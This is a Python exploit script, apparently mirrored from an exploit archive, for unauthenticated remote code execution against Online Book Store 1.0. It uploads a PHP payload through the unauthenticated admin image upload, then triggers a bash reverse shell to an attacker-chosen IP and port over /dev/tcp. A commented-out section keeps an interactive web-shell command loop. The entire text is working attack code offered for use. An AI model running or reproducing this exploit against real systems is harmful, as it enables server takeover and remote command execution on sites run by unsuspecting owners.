Share
## https://sploitus.com/exploit?id=PACKETSTORM:158536
#!/usr/bin/env python3  
  
# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution (modified by cesgami)  
  
# Google Dork: N/A  
  
# Date: 2020-01-07 (2020-22-07)  
  
# Exploit Author: Tib3rius  
  
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/  
  
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip  
  
# Version: 1.0  
  
# Tested on: Ubuntu 16.04, Kali Linux 2020.2  
  
# CVE: N/A  
  
# Mod: Not so shitty reverse shell capability (want it to play nice with pwncat)  
  
  
  
import argparse  
  
import random  
  
import requests  
  
import socket  
  
import string  
  
  
  
parser = argparse.ArgumentParser()  
  
parser.add_argument('url', action='store', help='The URL of the target.')  
  
parser.add_argument('ip', action='store', help='LHOST')  
  
parser.add_argument('port', action='store', help='LPORT')  
  
args = parser.parse_args()  
  
  
  
url = args.url.rstrip('/')  
  
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))  
  
  
  
#payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'  
  
  
  
payload = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/' + args.ip + '/' + args.port +' 0>&1\'");?>'  
  
  
  
  
  
  
  
file = {'image': (random_file + '.php', payload, 'text/php')}  
  
print('> Attempting to upload PHP web shell...')  
  
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)  
  
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')  
  
  
  
#print('> Verifying shell upload...')  
  
#r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)  
  
  
  
input('> You need to prepare netcat or pwncat (Press any key)')  
  
  
  
try:  
  
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)  
  
except HTTPError:  
  
print('> Web shell failed to upload! The web server may not have write permissions.')  
  
  
  
'''  
  
if random_file in r.text:  
  
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)  
  
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')  
  
  
  
print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')  
  
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))  
  
if launch_shell.lower() == 'y':  
  
while True:  
  
cmd = str(input('RCE $ '))  
  
if cmd == 'exit':  
  
sys.exit(0)  
  
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)  
  
print(r.text)  
  
else:  
  
if r.status_code == 200:  
  
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')  
  
else:  
  
print('> Web shell failed to upload! The web server may not have write permissions.')  
  
'''